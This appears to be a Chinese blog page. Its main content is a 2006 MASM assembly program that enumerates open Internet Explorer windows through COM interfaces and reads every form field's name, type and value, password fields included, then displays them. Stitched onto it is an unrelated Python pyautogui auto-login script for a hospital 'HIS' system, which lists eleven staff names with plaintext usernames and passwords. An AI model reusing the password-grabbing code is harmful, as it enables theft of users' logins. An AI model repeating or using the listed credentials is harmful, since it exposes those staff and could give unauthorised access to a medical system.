Get Internet Explorer PassWord

本文介绍了一种通过DCOM接口获取Internet Explorer中保存的登录密码的方法。该方法使用了多种COM组件,包括ShellWindows、IWebBrowser2和IHTMLDocument2等,详细展示了如何遍历IE窗口并获取特定表单元素的名称、类型和值。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

comment %
                #--------------------------------------#          #
              #  Get Internet Explorer PassWord-->      #       #
            #    -->use DCOM InterFace(only a Demo)       #   #
          #                      2006.06.28                 #  
            #                    codz: czy                #   #
             #------------------------------------------#      #

system :test on ie6+XPSP2
webmail:test on yahoo,hotmail,gmail...
%




.586
.model flat, stdcall
option casemap :none   ; case sensitive

include /masm32/bin/iep.inc


; #########################################################################
.const
CLSID_ShellWindows              GUID    sCLSID_ShellWindows
IID_ShellWindows                GUID    sIID_ShellWindow
IID_WB                          GUID    sIID_WB
IID_DOC                         GUID    sIID_DOC
IID_HTMLFE                      GUID    sIID_HTMLFE
IID_HTMLIPTE                    GUID    sIID_HTMLIPTE

.data
format  db 'form num:%d',0
format2 db 'elem num:%d',0
b1      dw 'N','a','m','e','=','[',0,0
b2      dw 'V','a','l','u','e','=','[',0,0
b3      dw 'T','y','p','e','=','[',0,0
b4      dw ']',' ',0,0
b5      dw ']',13,10,'T','i','t','l','e','=',0,0
mynull  dw 'N','U','L','L',0,0
errgetforms db '得到FORMS错误',0

.data?
pps             dd      ?   ;IShellWindows
ppi             dd      ?   ;IWebBrowser2
ppi2            dd      ?
ppd             dd      ?   ;IHTMLDocument2
ppd2            dd      ?
pphtmlec        dd      ?   ;IHTMLElementCollection  
ppfe            dd      ?   ;IHTMLFormElement
ppfe2           dd      ?
ppie            dd      ?   ;IHTMLInputElement
ppie2           dd      ?   ;IHTMLInputTextElement

ienum           dd      ?   
formnum         dd      ?
elemnum         dd      ?

buffer          db      512 dup (0)
height          dd      ?
ielocation      db      256 dup(?)
tit             dd      ?
pieloc          dd      ?
inputtype       dd      ?
inputvalue      dd      ?
inputname       dd      ?
szinputname     db      64 dup (?)
szinputvalue    db      64 dup (?)
szinputtype     db      64 dup (?)
szietitle       db      256 dup (?)        

.code



CheckNull   proc    szinputaddr:dword,input:dword
            invoke lstrlenW,input
            .if eax==0
            invoke lstrcpyW,szinputaddr,addr mynull
            .else
            invoke lstrcpynW,szinputaddr,input,32
            .endif

            ret
CheckNull   endp

FindIEPass  proc
            LOCAL   urlstr: DWORD
            
            
        invoke  CoInitialize, 0
        invoke  CoCreateInstance, addr CLSID_ShellWindows, NULL,CLSCTX_ALL ,
                                  addr IID_ShellWindows, addr pps
        .IF eax == S_OK               
            coinvoke pps,IShellWindow,GetCount,addr ienum              
            .while ienum>0
            dec    ienum

            mov edx,dword ptr [pps]
            mov edx,[edx]
            
            lea  eax,ppi
            push eax
            
            push 0      ;/
            push ienum  ; /_VARIANT参数
            push 0      ; /
            push 3      ;/
      
            push dword ptr [pps]
            call dword ptr [edx+20h]
           ;IShellWindow->Item,这儿返回IWebBrowser2的Dispatch指针
            
            .if eax==0
            coinvoke ppi, IDispatch, QueryInterface, ADDR IID_WB, ADDR ppi2
            ;这儿得到IWebBrowser2的接口指针
            .if eax==0
            coinvoke ppi2, IWebBrowser2,LocationURL,addr pieloc
            invoke lstrcpynW,addr ielocation,pieloc,128
            coinvoke ppi2, IWebBrowser2, Document_get, addr ppd
            ;这儿得到IHTMLDocument2的Dispatch指针
            .if eax==0
            coinvoke ppd, IDispatch, QueryInterface, ADDR IID_DOC, ADDR ppd2
            ;这儿得到IHTMLDocument2的接口指针
            .if eax==0
            mov edx,dword ptr [ppd2]
            mov edx,[edx]
            
            lea  eax,tit
            push eax      
            push dword ptr [ppd2]
            call dword ptr [edx+4*17] ;IHTMLDocument2->gettitle
            
            invoke lstrcpynW,addr szietitle,tit,128
            ;invoke   MessageBoxW,0,tit,tit,1 ;UNICODE字串
            
            mov edx,dword ptr [ppd2]
            mov edx,[edx]
            
            lea  eax,pphtmlec
            push eax      
            push dword ptr [ppd2]
            call dword ptr [edx+4*14] ;IHTMLDocument2->getforms
            .if eax == 0
            
            
            mov edx,dword ptr [pphtmlec]
            mov edx,[edx]
            
            lea  eax,formnum
            push eax      
            push dword ptr [pphtmlec]
            call dword ptr [edx+4*9] ;IHTMLElementCollection->getformcount
            
            ;invoke wsprintf,addr buffer,addr format,formnum
            ;invoke   MessageBox,0,addr buffer,addr buffer,1
            
            .while formnum>0
            dec formnum
            
            mov edx,dword ptr [pphtmlec]
            mov edx,[edx]
            
            lea  eax,ppfe
            push eax
            
            push 0      ;/
            push 0      ; /_VARIANT参数
            push 0      ; /
            push 0      ;/            
            push 0      ;/
            push formnum; /_VARIANT参数
            push 0      ; /
            push 3      ;/                  
            push dword ptr [pphtmlec]
            call dword ptr [edx+4*11];IHTMLElementCollection->item3个参数           
            ;得到IHTMLFormElement的Dispatch指针
            
            coinvoke ppfe, IDispatch, QueryInterface, ADDR IID_HTMLFE, ADDR ppfe2
            ;得到IHTMLFormElement的接口指针
            mov edx,dword ptr [ppfe2]
            mov edx,[edx]
            
            lea  eax,elemnum
            push eax                 
            push dword ptr [ppfe2]
            call dword ptr [edx+4*27] ;IHTMLFormElement->getelementlength     
            
            ;invoke wsprintf,addr buffer,addr format2,elemnum
            ;这儿可以得到FORM里面的INPUT元素个数
              ;invoke   MessageBox,0,addr buffer,addr buffer,1
            .while elemnum>0
            dec    elemnum
            
            mov edx,dword ptr [ppfe2]
            mov edx,[edx]
            
            lea  eax,ppie
            push eax
            
            push 0      ;/
            push 0      ; /_VARIANT参数
            push 0      ; /
            push 0      ;/            
            push 0      ;/
            push elemnum; /_VARIANT参数
            push 0      ; /
            push 3      ;/                  
            push dword ptr [ppfe2]
            call dword ptr [edx+4*29] ;IHTMLFormElement->item 三个参数
            ;得到IHTMLInputElement的Dispatch指针
            .if eax==0
            coinvoke ppie, IDispatch, QueryInterface, ADDR IID_HTMLIPTE, ADDR ppie2
            ;得到IHTMLInputTextElement的接口指针
            .if eax==0
            ;---GET TYPE
            ;mov edx,dword ptr [ppie2]
            ;mov edx,[edx]
            ;lea  eax,inputtype
            ;push eax                             
            ;push dword ptr [ppie2]
            ;call dword ptr [edx+4*7] ;IHTMLInputTextElement->gettype
            coinvoke ppie2,IHTMLInputTextElement,GetType,addr inputtype
            invoke CheckNull,addr szinputtype,inputtype
            
            ;---GET VALUE
            coinvoke ppie2,IHTMLInputTextElement,GetValue,addr inputvalue
            invoke CheckNull,addr szinputvalue,inputvalue
            ;---GET NAME                        
            coinvoke ppie2,IHTMLInputTextElement,GetName,addr inputname
            invoke CheckNull,addr szinputname,inputname
            
            invoke   lstrcpyW,addr buffer,addr b1
            invoke   lstrcatW,addr buffer,addr szinputname
            invoke   lstrcatW,addr buffer,addr b4
            invoke   lstrcatW,addr buffer,addr b2
            invoke   lstrcatW,addr buffer,addr szinputvalue           
            invoke   lstrcatW,addr buffer,addr b4
            invoke   lstrcatW,addr buffer,addr b3
            invoke   lstrcatW,addr buffer,addr szinputtype
            invoke   lstrcatW,addr buffer,addr b5
            invoke   lstrcatW,addr buffer,addr szietitle

            invoke   MessageBoxW,0,addr buffer,addr ielocation,1
            .endif
            .endif
            .endw
            
            .endw
            .else
            invoke   MessageBox,0,addr errgetforms,addr tit,1
            .endif
            .endif
            .endif
            .endif


            .endif              

            .endw
            coinvoke pps, IShellWindow, Release
        .ENDIF
        invoke  CoUninitialize
        
            ret
FindIEPass  endp
        
start:
        invoke  FindIEPass
        invoke  ExitProcess,0
end start 
import pyautogui import time import tkinter as tk import subprocess # 用subprocess打开Internet Explorer subprocess.Popen('C:\Program Files\Internet Explorer\iexplore.exe') # 创建 GUI 界面 root = tk.Tk() root.title("选择账号") # 创建标签和选项 tk.Label(root, text="用IE打开HIS系统,请选择账号:").grid(row=0, column=0, sticky=tk.W, padx=10, pady=10) options = [ ("马家益", "tb021 A*123456"), ("王中豪", "tb121 A123456*"), ("陈诗源", "tb058 A*123456"), ("陈亮", "tb057 12345678"), ("张少芬", "tb017 A*123456"), ("海玲", "tb020 A*123456"), ("张科", "tb090 Tbyy123456@"), ("邱进东", "tb110 A*123456"), ("黎福妮", "tb095 HD@123456"), ("任国军", "tb051 HD@123456"), ("叶穗君", "tb032 A*123456") ] var = tk.StringVar() var.set("") # 设置默认值为空 for i, option in enumerate(options): tk.Radiobutton(root, text=option[0], variable=var, value=option[1]).grid(row=i+1, column=0, sticky=tk.W, padx=10, pady=5) # 创建按钮 def login(): # 获取选择的账号和密码 choice = var.get() if not choice: tk.messagebox.showwarning("警告", "请选择一个账号!") return username, password = choice.split() # 单击左键并输入账号 pyautogui.click(843, 440) pyautogui.typewrite(username) # 单击左键并输入密码,然后按回车键 time.sleep(1) # 等待界面加载 pyautogui.click(952, 495) pyautogui.typewrite(password) pyautogui.press('enter') tk.Button(root, text="登录", command=login).grid(row=len(options)+1, column=0, pady=10) root.mainloop(),帮我修改一下
05-28
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值